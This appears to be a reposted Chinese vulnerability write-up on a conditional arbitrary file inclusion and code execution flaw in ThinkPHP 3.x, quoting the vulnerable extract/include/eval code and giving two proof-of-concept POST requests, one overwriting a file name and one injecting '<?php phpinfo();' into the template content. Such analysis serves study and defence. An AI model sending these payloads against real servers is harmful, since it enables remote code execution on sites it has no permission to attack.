漏洞原理

实现自己的模版引擎不当,在模版渲染的情况下存在任意变量覆盖漏洞。。

 

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

漏洞详情

漏洞位置1

ThinkPHP/Library/Think/View.class.php

需要修改配置文件 指定TMPL_ENGINE_TYPE为php

 if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板 // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入PHP模板 empty($content)?include $templateFile:eval('?>'.$content); 

 

漏洞位置2

ThinkPHP/Library/Think/Storage/Driver/File.class.php

	/** * 加载文件 * @access public * @param string $filename 文件名 * @param array $vars 传入变量 * @return void */ public function load($filename,$vars=null){ if(!is_null($vars)) extract($vars, EXTR_OVERWRITE); include $filename; } 

 

 

漏洞复现

 

漏洞服务端代码:

public function test(){ $this->assign($_POST); echo $this->fetch(); } 

 

 

漏洞验证请求:对于漏洞位置2

 

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

filename=license.txt

 

thinkphp 3.x下的任意文件包含(有条件)分析 Safe 第1张

 

 

调用堆栈

thinkphp 3.x下的任意文件包含(有条件)分析 Safe 第2张

 

 

漏洞验证请求:对于漏洞位置1 ,可以命令执行

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

content=<?php phpinfo();

 

thinkphp 3.x下的任意文件包含(有条件)分析 Safe 第3张

 

 

调用堆栈

thinkphp 3.x下的任意文件包含(有条件)分析 Safe 第4张

 

参考:

https://mp.weixin.qq.com/s/IuKjTS0Q0VVzuoeSwqZ5Gw

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄